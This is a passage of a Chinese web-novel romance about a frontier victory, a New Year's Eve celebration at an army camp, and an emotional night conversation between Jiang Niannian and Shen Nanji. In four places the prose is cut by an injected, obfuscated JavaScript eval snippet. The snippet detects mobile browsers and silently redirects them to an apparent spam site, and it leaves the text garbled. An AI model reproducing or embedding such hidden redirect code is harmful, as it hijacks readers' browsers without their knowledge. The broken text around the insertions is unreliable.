一旁的赵岳琦见状,出声安抚道:“不用担心,现如今梁招国并未占据上风,你所担心的事,我们也正在想办法,之后也不会再发生了。” 老兵闻言,心中虽有疑虑,可是看到几人胸有成竹的模样,也稍稍放下了心来。 这个话题被轻轻揭过,几人很快就商量起了接下来的战术。 数月时间很快便过去,凭着之前姜念念在魏临那打探到的消息,以及她对对方的了解,明安国居然也真的和梁招军打得有来有回。 可能是到了后来,梁招军也没有料到,如今的西南军居然会变得这么难缠,再加上这场战争直接从春末打到了临近年关,渐渐地他们也开始打得有些冒进。 终于,在年节将近时,梁招军因为行动的错误判断,被沈南寂抓住了时机,一举拿下了胜利。 这是近些年来,西南第一次取得胜利,极大地鼓舞了西南军的士气。而梁招国在这之后,也不得不派人前来和谈。 和谈的事情约在了年后,于是沈南寂等人便也留在了西南,其它事情等年后再做定夺。 也许是胜利后带来的难得喜悦,近日整个军中的气氛都比先前好上许多,大家都在喜气洋洋地准备着年节,只等着除夕夜的到来。甚至还有人特地购买了彩灯,绑在了帐篷的沿上。 很快便到了除夕这一天,西南郡也终于迎来了今年的第一场初雪。 雪初下时,还只是细碎的雪花,可是随着时间的推移,那雪便越下越大,像是积攒在口袋里的鹅毛,被人直接剪开了口子,大团大团地向下倾倒。黑夜早早降临,被绑在帐篷间的灯笼重新照亮了道路,喜庆的红色将雪也染成了别样的红。 守卫的人先一步吃了年饭,然后便重新回到了自己的岗位,而其他人则是点燃了篝火,众人齐聚一处,热热闹闹地过起了年节。 原先西南的老兵,其实大多都不太看好沈南寂等人,他们常年呆在西南,知道这里的生存环境到底有多恶劣,不仅仅是自然环境上,更多的还是朝廷的不作为。慕辰朔被擒时,他们迫于形势归降,但心底却都曾想过,若是之后的情况愈发不可收拾,明安国是不是也会彻底消失。甚至他们还怀疑过,沈南寂等人会不会因为环境的恶劣,最终直接离开,丢下一堆烂摊子给他们。 毕竟都是京城中来的人,即便再苦,也不比西南。而到了那时,他们这些人又该何去何从呢? 然而,他们的这些担心都没有发生。随着时间的推移,他们见识到了沈南寂等人的谋略,也知道他们是真心在为军中的所有人考虑。心底的担忧被抚平,他们原先的所有不满、埋怨,甚至是质疑,最终都烟消云散,然后化作了服从与钦佩。 酒过三巡,没了一开始的拘谨,众人的胆子也渐渐大了起来。他们端着酒碗走近沈南寂,声音里带着由衷的敬意,“殿下,我们敬您。之前我们的确有些怀疑您,觉得您是根本不了解西南郡如今的情况,但没想到现在您真的带着我们赢下了战斗。” 沈南寂闻声从自己的思绪里回过神来,他抬眼望去,看着那些人,摇了摇头道:“如果仅凭我一人,也无法做到程度,还是要仰仗大家的信任和配合。” 众人见沈南寂这么说,心底便更加地对沈南寂感到信服,他们和沈南寂又交谈了几句之后,便转向了段云澜和赵岳琦等人,同样也感谢了一番。这两人喝得有些多了,见有人来,摇摇晃晃地将人拉到身前,絮絮叨叨说着一些话。 众人对段云澜倒是没什么感觉,毕竟他平时话就挺多的,反差最大的还是赵岳琦。平日里看起来成熟稳重的他,喝醉了之后也像个话痨似的,总有说不完的话。 如果最后不是他们找理由走开,赵岳琦估计连自己小时候尿过几次床这样的黑历史,都要被他自己透露干净了。为了保全这位刚刚就任的小将军的面子,众人还是你推我赶地忙不迭走开了。 众人最终找到了姜念念。此时姜念念正独自一人坐在人群外,她离得人群不远不近,既不显得亲近,也不是太疏离。她背对着人群的方向,看着远处的黑暗原野,雪花悠悠落下,一袭白裙的她便像是要消融在雪里似的,让人不忍出声打扰。 他们先前很少这样细看姜念念,可不知是不是此刻的风景正好,就连这些想不出什么夸赞之词的军士们,心里头都不约而同地想着,这是天上的哪位仙子下了凡。一些年轻点的士兵,更是悄悄红了脸,撇开眼不敢再看,暗暗想着,幸好此时是黑夜,有火光的映照,才叫旁人看不出自己的异常。 “姜姑娘。”有位老兵上了前,唤回了正发呆的姜念念的神智。 姜念念扭头望过去,见到面前站了不少人,不禁有些疑惑道:“你们是有什么事吗?” “没什么,只是想来感谢一下姜姑娘。这么久以来,多亏姜姑娘照顾后方受伤的将士,而且我听说,您也提供了不少情报。正好今天趁着年节,我们也想来感谢一下姜姑娘。”老兵由衷地说道。 老兵话音刚落,身后的其他人也立马出声附和,姜念念没料到会有这一茬,顿时被吓了一跳,不过她很快就反应过来,连忙摇摇头说:“这都是我应该做的,我也是明安人,自然不希望明安国真的会落入他人之手。况且真正对抗敌人的,还是大家。” 老兵听到姜念念的回答,不禁满意地点了点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581708|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不居功自傲,人也开朗大方,难怪会被人惦记。他扭头假装不经意地瞥过身后那群人,像是没看到他们神情不自然似的,直接将那些人赶走了,“谢也谢完了,都回去吧,我和姜姑娘还有些话要说。” 等到这些人都离开后,姜念念才重新看向了老兵,她的神情里带着些许疑惑,像是在打量,“您还有什么事吗?” 老兵摇了摇头,示意姜念念坐下。姜念念有些摸不准他的意图,不过见他一副自己不坐下他就不开口的架势,便也只能重新坐了回去。见状的老兵也跟着坐到另一侧,姜念念心中疑惑,却也没有多问。 “虽然这个问题现在问可能有些晚了,不过我还是想问问,姜姑娘在这里还习惯吗?”老兵开口问道。 姜念念愣了一下,没想到老兵居然是想要问这个,她迟疑地点头道:“很好。” 老兵似乎有些意外,可随即却又笑着说道:“可我看姜姑娘,似乎是有什么心事。如果姜姑娘愿意的话,可以和我说说。” 老兵话语中带着关切,他也是真的在关心姜念念,可是姜念念知道,自己的事情是不能告诉任何人的。即便如今的她看起来,似乎和这个世界的羁绊越来越深,可她明白,她是孑然一身来到这个世界的,她于这个世界而言,就如海中一只蜉蝣,从来都没有自己的归处。 她沉默了良久,最终还是摇了摇头,她微笑着对老兵说道:“没什么,我就是有点想家了。” 她没细说,这句话旁人也听不出异常,只以为她是离家太久,有些想自己的家人——不过某种意义上来说,这样的说法也没错。 当然,即便姜念念说自己从另一个世界而来,换做是谁也都会觉得这都是天方夜谭,甚至还会以为姜念念自己发癔症了。 事实证明,老兵的确没有听懂姜念念的深层意思,他只当是姜念念离家太久,有点想自己的家人了。毕竟也就是个十几岁的小姑娘,想家也是正常的。 他不知道姜念念是怎么和沈南寂认识,又跟着他来到这么危险的边境,不过这也不妨碍他安慰姜念念:“想家是正常的,我刚离开家的那会,比你现在的年龄还小些,那时候刚到一个陌生的地方,也没有认识的人,白天还好些,有事做,一到晚上人闲下来了,就开始想家了。” 姜念念闻言有些惊讶,不过更多的还是好奇,她短暂地将自己的事情抛之脑后,追问道:“那之后呢?” “当时我年纪还小,营里的人都很照顾我,他们知道我想家了,就轮番来逗我开心。”老兵顿了顿,“时间久了,有些事也就忘了。” 姜念念觉得,他说最后那句话时,语气似乎有些不对,而且也很莫名。可没等姜念念追问,老兵就已经岔开了话题,“等到梁招国的事情解决,姑娘就可以回京了,你也很快就会见到自己的家人。” 姜念念默了默,没有接话。手边还放着之前没喝完的酒,姜念念看了两眼,最终还是挪开视线,“这一切,就该结束了。” “是啊。”老兵的眸光微闪,眼底带着希冀,“终于快要结束了。” 他心中隐隐有一种预感,无论过去有多艰难,在不久之后的将来,这一切都将过去,明安国也会迎来它的新生。 40. 发簪 “你们在聊什么?” 身后突兀响起的声音,打断了两人的对话,姜念念和老兵不约而同地扭头望去,就见沈南寂不知何时站在了他们的身后不远处。 老兵见状,起身笑着说道:“这不是看姜姑娘一个人在这里,怕她无聊,所以就留下来随便聊了两句。既然殿下来了,那我就不打扰了。” 说罢,老兵就躬身离开,而沈南寂自然也没有阻拦,任由他离去。而在那之后,沈南寂取代了老兵,坐到了他一开始的位置上。 姜念念不知道他要说什么,于是便也没说话,等了片刻,她看到身旁人影晃动,还没来得及说话,面前就多了一只雕花木盒。 她疑惑的扭头望去,用不解的眼神望向身侧的人。 “生辰快乐,姐姐。”沈南寂的眉眼间带着浅淡的笑意,黑沉的眸子落在姜念念的身上,此刻却映着别样的光彩。 姜念念一时有些怔在原地,没有料到这种时候,沈南寂居然也会拿出一件礼物来。 可是她的沉默,很显然是让沈南寂误会了。他顿了顿,随后用另一只手打开了木盒,露出里面的物件来,“时间可能有些仓促,这个礼物可能不太好,姐姐先收下,其他的……等回了京城我再补给姐姐,或者姐姐想要什么,也可以直接告诉我。” 姜念念轻笑了一声,“直接对你许愿吗?” 沈南寂点点头,“只要是我能够做到的,我都会尽我所能去替你实现。” 他的眼底透着认真,即便这样的话在旁人听起来,显得过于苍白无力了,可姜念念仍旧觉得,只要自己开了口,他就真的会像他说得那样,去尽力完成她的愿望。 想到这里,姜念念心间一阵悸动,两人的视线对上,之前的那种异样感觉再次袭上心头。也许是周围的火光和灯光明亮,衬得他原本乌黑的眸子,也变得如同细碎的星星。姜念念从他的眼中,又看到了那熟悉的情绪,藏都藏不住。 迟疑了一阵,姜念念还是率先移开目光,她低头接过沈南寂手中的木盒,“这个就很好了,谢谢你。”她借着低头打量礼物,避开了沈南寂的视线,假装自己什么也没有看见。 沈南寂见状,也没再说什么,只是转过身去,面朝着围坐在篝火边的众人。 那木盒里面的,是一支发簪,是由玉石雕刻而成,握在手里冰凉一片。玉簪上是一簇迎春花,被雕得栩栩如生,轻盈得仿佛下一秒一阵风吹来,它也会随风摇曳。 姜念念看了两眼,觉得好看,于是扭头问沈南寂:“你什么时候买的?我怎么不知道。” “不是买的。”沈南寂摇了摇头,在姜念念不解的目光下,他缓缓解释道,“玉胚是很早之前一个人送给我的,簪子是我闲暇时亲手雕的。” 想想也是,这里离西南郡的城中需要一天的路程,一趟来回需要两三日,之前那种时候,沈南寂自然不可能离开那么久。再加上他不喜欢这种事情还要借他人之手,所以簪子自然不可能是买来的。 只不过姜念念有些好奇道:“你还会雕刻吗?” 沈南寂闻言目光微闪,他像是在思考着什么,就在姜念念以为他不会回答了的时候,他才出声道:“以前学过。” 姜念念若有所思地点点头,也没怀疑他说了谎。之前几年的时光,虽然两人住在同一屋檐下,可是大多数时间里,也都在做着各自的事情。 两人沉默了一阵,姜念念又重新垂下头去看那玉簪。知道是沈南寂自己做的之后,她便下意识地观察地更加细致,随后她便发现,那簪子上的迎春花,有一种莫名的熟悉感。 她不由感到疑惑,明知自己不应该会有这样的感觉,可还是不免在心中产生怀疑。仔细想了想,也没有想起究竟是哪里出了问题,姜念念最终也没有为难自己,暂且将这个疑问放到了一边。 簪子被重新收回到盒子里,姜念念也转了个方向,和沈南寂一样,也看向了人群。 雪不知何时已经停了,又或者只是温暖的篝火在雪还没来得及落下之前,就已经率先将它融化。喧闹声不绝于耳,火红的光一路绵延至他们看不见的地方,所有人的脸上都洋溢着喜悦的神色。 这是姜念念来到这个世界以来,过得第一个真正意义上的除夕,以往她在宫中时,即便宫宴上有多热闹,也始终与她无关。哪怕她只是从暗处窥来一小刻的喜庆,也像是她用了手段偷来的,令人无所适从。 这份热闹一直延续到了初一的凌晨,期间已经有不少人醉倒在了那里。直到困意袭来,沈南寂才和其余人打了招呼,起身准备回去。 他之前也喝了不少酒,此刻脑子有点昏昏沉沉的,起身的时候一个趔趄差点摔下去,幸好被一旁的姜念念眼疾手快地扶住。 沈南寂怔了一下,随后偏头冲姜念念笑了一下,“多谢姐姐了。” 姜念念没应他,只是说道:“走吧。” 她没有刻意说要送沈南寂回去,只不过即便是没有刻意说,他们两人也同样都明白。 沈南寂低声应了一声,顺着姜念念扶着他的姿势,顺势向姜念念的方向靠了靠。不过他也知道,并未将全身的力量压在姜念念身上。 姜念念自然是察觉到了身上突如其来的重量,不过想着沈南寂此时醉酒站不稳,便也没说什么。可是她的默许却像是给了身旁之人鼓励,片刻之后一只手轻巧地探到姜念念腰间,没用力却也不容忽视。 姜念念扭头看向始作俑者,可后者却一脸无辜地拿眼瞧着她,两人对视几秒,最终还是姜念念率先败下阵来,心里告诫自己不要跟喝醉的人一般见识,然后带着人返回到了他的营帐。 本来姜念念是想将人送回到营帐后,就直接离开的,谁承想她刚将人安顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591763|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,还没来得及迈开脚步,手腕就被人拉住了。 姜念念有些意外地扭头望去,发现原本已经睡着的沈南寂,不知何时又睁开了眼睛。她有些迟疑地开口道:“是我把你吵醒了?” 沈南寂怔了怔,随后摇了摇头,“我没睡着。” 大抵是喝了酒的缘故,他的声音显得有些暗哑,吐字也不是特别清晰,但意识还算得上清醒。 屋里没掌灯,唯一的光源,便只有窗外灯笼发出的暗沉红光。透过那昏暗的光,姜念念感觉沈南寂的眸子比以往看时,愈发显得黑沉,让人看不清藏在眼底的情绪。 “那还有什么事吗?”姜念念顿了顿,见沈南寂说完那句之后,就再没有要开口的意思,让她一度觉得,只要自己不说话,两人就能这么沉默地面面相觑到天亮,于是姜念念只能无奈地出声,打破了此时的宁静。 沈南寂闻言似乎真的思索了一下,随即再次摇头,然后说道:“今天除夕,姐姐就陪陪我吧。” 说这话时,他的眼眸微微垂落,这样直接看着,便让人感觉到他的落寞。姜念念见状,顿时便有些心软,这是沈南寂第一次远离家乡,心底想家也是正常的。或许京城的确给了他们不算太美好的回忆,可那里到底还是他生活了十几年的地方,如今在这样一个日子里,平日里被忽视的情感也会随着周围的气氛,被一点点放大。 而且姜念念看到沈南寂眼下,那里有很明显的乌青,似乎已经很久没有睡好了。为了让人安心,姜念念轻轻点了点头,答应了沈南寂的请求。 这像是意料之中的回答,沈南寂的唇边缓缓勾起一抹弧度,丝毫没有要遮掩的意思,他松了抓住姜念念袖子的手,指了指一旁的位置,“姐姐坐。” 姜念念倒也没拒绝,站久了的确会有些累,于是便走到一旁坐下。 见人坐下后,沈南寂瞥到姜念念将他之前送她礼物的木盒也放到一旁,于是开口说道:“刚刚在外面,有些话没有说清楚,所以姐姐可能觉得我只是随口一说。我之前和你说,有什么想要的尽管和我说,那不是在和你开玩笑。” 姜念念没想到沈南寂居然还记着这事,不禁有些失笑,不过她也没有多说什么,只是点了点头,应道:“好,我知道了。”顿了顿,随即又道,“已经很晚了,你这些天应该都没怎么休息吧?快休息吧。” 虽然古代没有时钟,尤其是在西南郡这个地方,连时间都只靠着人为的判断,但姜念念也能大致猜到,这个时候应该已经到了初一的凌晨。 沈南寂张口想要说话,可最终还是点头答应。但重新躺下之后,他却又不知是怀着什么样的心情,突然说出一句:“其实,我已经习惯了。” “习惯什么?”姜念念一时没有反应过来,下意识便回问了一句。 “我已经习惯保持清醒了,从很早以前开始。” 41. 眠夜 姜念念不知道,沈南寂突然说起这话,究竟是出于什么样的目的,但这一切所指向的,似乎都只有一个答案。 “为什么?”姜念念试探着问道。 沈南寂看了一眼姜念念,似乎是在思考,到底该如何回答这个问题。顿了顿,他又坐起身,缓缓回答道:“很早之前,从我一个人睡觉时开始,每次睡着的时候,我都会做噩梦,然后惊醒。醒来之后,就睡不着了。” 姜念念怔了怔,完全没料到会是这样的一个回答。透过对方的视线,她也能够看出,沈南寂应该是没有说谎的,她顿时有些不知该说些什么,良久后她才呐呐道:“你之前没有和我说过。” 姜念念一直都以为,随着时间的推移,那些阴影迟早会从沈南寂的记忆里淡忘,可她始终不曾想到,直到如今他还会受那些记忆影响。 “我知道姐姐的顾虑,所以我不会让你感到为难。”沈南寂垂下眼睑,说出来的话却让人心惊,“我知道在这个时候再提起这件事,好像显得太过刻意,但我就是不想再像以前那样了。” 说到这的时候,沈南寂又重新抬起头,对上了姜念念的视线,他像是下定了很大的决心一般,将这么久以来藏在心底的秘密,全部一股脑地吐了出来。 “其实我还有一个秘密,从来没有和任何人说起过。在很久之前开始,每晚我睡不着的时候,都会去你的屋子外。”只有在那里,他才有可能无梦地睡上片刻。 可能是黑夜的缘故,姜念念觉得此时沈南寂的眸子黑沉的像是深不见底的深渊,她想要移开视线,可是却又不得其法。心底有什么快要破土而出,叫嚣着让她逃离,可偏偏此时她的双手双脚都不听她的使唤。 就是在这样的环境里,姜念念还是在一片混沌的思维里,想到了一件很微不足道的小事。 她想到自己曾经是在夜晚撞见过沈南寂的,不止一次,但当她每次问起对方,为什么会在那里时,都被对方两句话带过。所以她从来没有怀疑过,没有想过这其中还掺杂着多少谎言。 “我能感觉到,你在疏远我,或者说,从始至终你都在刻意和我保持着距离。”沈南寂似乎是看出了姜念念眼中的情绪,便又接着说道,“我知道你可能自己都没有察觉。但我知道,所有的平静都只是暂时的,一旦有一天这平静被打破,你就会毫不犹豫的离开。我承认今天和你说这些,是我不甘于现状,想要你因此而可怜我。” 他微微抬手,像是在描摹着姜念念的眼睛。他每说一个字,都像是在克制着心底的情绪,却忍不住一遍又一遍地问着自己。 “很多时候,你在看向我时,都像是在看着另一个人,我不是没有怀疑过,你的心里是不是还记挂着另一个人,可是你的眼里没有任何情意。所以我一直想不明白,这样的你,到底想要的是什么?” “又或者说,你想起了什么?” 听到沈南寂的这些质问,一时不知该如何回答。诚如沈南寂所说的那样,她一开始接近对方,的确是出于各方面的考量,她不是真的十二三岁就囿于深宫数年的小姑娘,她想要活着回到现代,而沈南寂在那时的她看来,无疑是保命的最优选择。 既然她暂时回不去,便要保证自己可以活着等到那一天。 她本以为自己将这个秘密隐藏得很好,可没想到还是会被他看出了端倪。 “姐姐。” 似乎是觉得姜念念太久没有给出回应,沈南寂忍不住出声,像是有些执拗地,企图让姜念念的视线落回到他的身上。 “你……”姜念念看着他,迟疑了一下,不知道该说些什么。她没办法回答沈南寂的问题,也不想再欺骗他说,自己从未有过利用他的时候。 沈南寂看出了她的犹豫,没给她太大压力,他似乎是轻轻扯了一下嘴角,当作若无其事的一笑,“没关系,姐姐如果不想回答的话,也可以继续问我。” 姜念念迟疑了一下,本来想问他什么时候察觉的,可最终还是没有问出口。她顿了顿,最终只是问他:“你会埋怨我的隐瞒吗?” “不会。”几乎是不假思索的回答,沈南寂摇了摇头,认真地说道,“如果是我有利可图,那我很高兴,至少对你来说,我还是有价值的。不是吗?” 如果仅仅只是因为那点微不足道的价值,就能够让她留下,那对他来说,也已经是意外之喜了。他也并不在乎,姜念念究竟想要从他这里得到什么。 姜念念一时有些错愕,半晌后又有些不太确定地问,“那你今天突然说这些,又是因为什么?” 这一次,沈南寂难得没有直接给出答案。他像是在考量,究竟能不能给出回应,又或者什么样的回答才是最合理的,可最终,他微微阖了阖双眼,轻吐出一口浊气,仿佛下定了某种决心。 “其实在离宫之前,父皇就已经下旨,消了你宫女的身份。所以从你离开皇宫的那刻起,你就已经去过自己想要的生活,但我一直没有告诉你,甚至还带着你来到了西南郡。现在战争结束,我们很快就会回到京城……”沈南寂停顿了片刻,“我只是想问问你,你会想要回到那个地方吗?” 他的指尖微微蜷起,藏在衣袖里,“如果你想要离开,我会安排人护送你。”然后,最好永远不要被他找到。 沈南寂一开始那没有说完的半句话,姜念念其实已经听明白了。他一直隐瞒了这件事,但回到京城后,她迟早还是会听说这件事,只不过那时的她必定会因此对沈南寂产生猜忌。 但转念想想,就算她孑然一身,可在这个世界上,她又能去得了哪里呢? “你瞒了我,我也瞒了你,所以我们这算是礼尚往来。”姜念念看着沈南寂,缓缓地说道。 沈南寂听出了姜念念话中的意思,可是他又不敢确信,“所以你的意思是……” “我会跟你回京。”姜念念回道。 像是突如其来的惊喜骤然砸下,沈南寂一时有些没有回过神来,先前想要用来挽留人的借口,此时似乎也派不上什么用场了。 等到很久之后,他才逐渐冷静下来,原先繁杂的思绪,在此刻终于都归于平静。他像是丝毫都没有质疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672652|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,干脆地应了一声“好。” “……快休息吧。” 姜念念终止了这场毫无预兆的谈话。而这一次,沈南寂也在微微思量之后,默默地点了一下头。 其实姜念念知道,无论是自己还是沈南寂,都还有太多的话没有说出口。可眼下他们还有很多需要解决,现在也并非是快刀斩乱麻的最佳时机。 既然如此,那还不如再等等,也好让她好好想一想,理清现在的情况。 等到黑夜里传来熟睡后绵长的呼吸声,姜念念这才起身走到营帐外。 这个时间,外面的人群已经散了,只有寥寥几人仍旧还坐在那里,小声地交谈着。原本温暖的篝火在燃烧了半夜之后,由于没有再增添新的木柴,此时也终于渐渐暗淡下来,只余下一点微弱的余火,像是不甘地想要燃尽最后一点生命。 她在外面站了半晌,她的脑海里闪过无数的思绪,可正因那些思绪太多,纠缠在一起,以至于她看起来又像是什么也没有想。直到凛冽的寒风吹得她有些瑟瑟发抖,她才恍然惊觉时间已经过去了很久。 即便黑夜再深重,白日也依旧如期降临。 倒灌的风足够将人吹得清醒,姜念念一夜未眠,可她也并未感到太多的困意。不多时,身后传来动静,姜念念侧身望去,下一秒就见沈南寂掀开帐帘走了出来。 刚迈出一步,他就注意到了一旁的身影,抬头发现是姜念念后,他先是愣了一下,随即又很快反应过来,他像是有些疑惑:“姐姐怎么会在这?” “昨天夜里是我送你回来的。”姜念念提醒道,但她也有些怀疑,是不是昨天夜里沈南寂真的喝醉了,导致今天早上直接断片,什么都不记得了。 不知为何,想到这里,姜念念的心底有些异样。 “我知道。”下一刻,沈南寂就已经打断了姜念念的思绪,“我只是以为,你已经回去了。” 姜念念摇了摇头,一时不知道该说些什么,索性就保持了沉默。正想着既然人已经醒了,那她直接和沈南寂说一声再回自己的住处,结果下一秒就再次被对面的人叫住。 “姐姐。” “还有什么事吗?”姜念念有些不解地问道。 “昨天的话,我不是随便说说。如果你想好了,可以随时告诉我。”沈南寂神情认真地说道。 姜念念一时有些没想明白沈南寂是在说什么,等思索了片刻后才反应过来,她不禁有些哭笑不得,“你就这么执着一个礼物吗?不知道的人还以为是我欠你一个礼物呢。” 沈南寂似是有些不甘心,“可我只是想要知道,姐姐想要什么。” “其实我也没有骗你,我真的没什么想要的。”姜念念道。 听到这话,沈南寂的神情虽然松快了些,可很显然还是没有完全相信。 姜念念见他这副模样,也知道自己如果不说出个一二来,恐怕他还要纠结许多天,于是便真的认真思索了起来。不知为何,像是鬼使神差般地,姜念念突然说道:“如果真要说的话,我大概是想要回家的吧。” 42. 重提 就算她在这个世界呆了这么久,甚至已经渐渐淡忘了那些记忆,可她潜意识里仍想着能够回去。这个秘密一直深藏在姜念念的心底,直到如今才终于得见天日。 “只是这样吗?”沈南寂的神情像是有些不解,他静静地望着姜念念,似是不明白她为何会提出这样的请求,“在之前我就说过,我们回京前,会路过青萍镇,那时我会带你回去一趟。” “……好。”虽说知道沈南寂所以为的,与她所想的并非一码事,可姜念念也仍旧很感激他的提议。不过经由他的这番提醒,姜念念也不由再次想到这件事。等回到家中,即便已经过去了这么多年,家中的那些人,又是否能够察觉到她的异常。 正想着,姜念念忽然听到沈南寂说道:“我不明白。” “什么不明白?”姜念念下意识反问道、 “虽然这事不对,但我不得不承认,之前我调查过姐姐。在那之前,我知道姐姐与家中的关系并不好,他们也根本不在乎你的生死。姐姐心善,不计较他们对你的种种恶意,甚至不顾你的安危,将那么小的你卖掉换银子,可是也大可不必将他们时时牵挂在心上。既然他们亲手将你送出去,那你就已经和他们没有任何关系了。” 听到这话,姜念念有些震惊,可随后又觉得合理。无论在什么时候,重男轻女的问题好像都在发生,尤其是在穷苦的人家,那些女孩的命运便更加凄惨,甚至尚在襁褓就重新归于尘土。而像姜念念这样,已经算是一件幸事了。 “总是要见一见的。”就当是替之前的那个姜念念,和她的家人彻底划清界限。 姜念念不知道原身对自己家庭的态度,但为了以防万一,即使他们现在没有找来,难保以后不会借题发挥。不过如果关系不好的话,倒是省去了她的一大麻烦,不用刻意去和那些人维持好关系。 沈南寂闻言也没有多问,“我知道了,到时候我会和你一起。” 姜念念没有拒绝,同时她也因为这件事,想到了另一件。她的视线落到沈南寂的身上,像是有些犹豫。虽然之前她也问过同样的问题,可那时的他还小,此刻的身份早已与当时天差地别,所知所见也定然是有所不同的。 大概是看出了姜念念的欲言又止,沈南寂遂主动询问道:“怎么了?” 姜念念听到沈南寂问她,于是便也不再犹豫,直接说道:“我想请你帮我找一样东西。” “当然。”沈南寂几乎是不假思索地就点了头,甚至连找什么都没有问,就直接答应了下来,“姐姐想要的东西,都可以直接告诉我,不用说这么认真地说‘请’字。” 姜念念点头应下,随后又有些疑惑地看了沈南寂一眼,“你都不问我,我想找什么,就直接答应了我吗?” “无论是什么,我都会替姐姐找来的。”沈南寂微笑着说道。 姜念念闻言,一时有些心情复杂。不过既然是要寻物,必然还是要说明物件的,“我想让你找一枚玉佩。” 沈南寂微微挑眉,“什么样式的?我让他们去商铺看看。” 听到沈南寂的后半句话,虽然姜念念很想说,普通商铺应该没有,不过转念一想,又觉得多一条渠道也总没错,不然靠她这样打听,还不知道要等到猴年马月。于是她点点头,正好就顺势蹲下身,捡起一旁的小石头,在地上画出了她早就烂熟于心的玉佩纹路。 沈南寂俯身下来看。 等到姜念念画完之后,她一抬头就恰好对上了沈南寂那有些异样的神情。她不知道那目光里带着什么,连带着让她的心中也升起一种莫名的情绪。他就那么盯看着姜念念,像是欲言又止,又像是什么也没有想。 “……你认识?”姜念念打破了此时的沉默,想要以此来抵消心底的异样。 听到姜念念询问,沈南寂这才收回了视线,那股莫名的压迫感也随之消失。沈南寂垂眸瞥了一眼那图案,随即又看向姜念念,“我记得,你曾经在刚见到我的时候,也给我看过它,你还在找它?” 姜念念愣了一下,“啊,你都还记得……” “这东西对我很重要,我必须要找到它。” 听到姜念念的话,沈南寂像是呢喃一般地道:“为什么呢?” 两人离得近,姜念念听到了一个大概,她有些不解,“什么为什么?” 沈南寂没有回答,他看着姜念念的眸子里带着探究,像是在寻找着自己所想的答案,可最终他什么也没有看到。他微微闭上双眼,再次睁开时,已经再次恢复如初:“没什么,我会帮你打听的。” 他头一次没有接姜念念的话茬,像是在刻意忽视一般。为了不让姜念念追问,他甚至直接转移了话题,“姐姐难道没有觉得,这个玉佩的样式,有些奇怪吗?” “嗯?哪里奇怪?”姜念念有些疑惑地道。 沈南寂闻言蹲下身,然后没有丝毫迟疑地拾起方才姜念念丢下的石头,慢慢沿着姜念念所画的痕迹,补齐了接下来的纹路。直到那玉佩形成了一个完整的圆,内里的图案也融为一体。 姜念念有些震惊地看着那个图案,终于知道自己之前为什么会觉得,那枚玉佩的样式奇怪了。因为如今看来,那更像是摔碎之后,一分为二的产物,而如今沈南寂所绘制的,才更像是一块完整的玉佩。她先前没有察觉不对,只不过是它对这种东西并不了解,所以才会下意识觉得,只是那枚玉佩本身样式古怪而已。 或许是察觉到了姜念念的心不在焉,沈南寂也没有继续刚刚的话题,他起身说道:“我会让人帮姐姐留意的,如果有结果的话,会第一时间通知姐姐。” 姜念念这才回过神来,她点点头算是应答。 经过这一番耽搁,原本昏暗的早晨,也彻底变得大亮,不过阳光依旧藏在云层里,没有任何要显露辉光的意思。 沈南寂抬头望向天空的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687551|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向,不知在想着什么,半晌后他才重新看向姜念念,“姐姐回去休息一下吧,然后等明年收拾一下行李,我们在这里呆不了多久了。” “这就要走了吗?”姜念念有些惊讶地问道。 沈南寂点点头,“梁招国的使臣明天会来,会商量一些事宜,至于其他的,届时他们会自行前往京城,与陛下亲自商议,也就与我没什么关系了。” “我明白了。”姜念念应了一声,随即便和沈南寂道了别,回到了自己的营帐。 今天的军营难得静悄悄的,战争好不容易迎来了终局,大家也都珍惜这来之不易的放松。姜念念一路走回,也并没有遇到什么人,而她回到营帐内,先是短暂地睡了一觉,只不过也许是过了平时入睡的时间,即使她能感觉到自己的困倦,却也无法进入深眠。 大概过了三四个时辰之后,她就再次醒来,她能听到外面的人声熙攘,她知道大家也都已经醒了过来。简单地收拾了一下之后,她也没有直接走出营帐,而是提前将自己的行李收拾好。 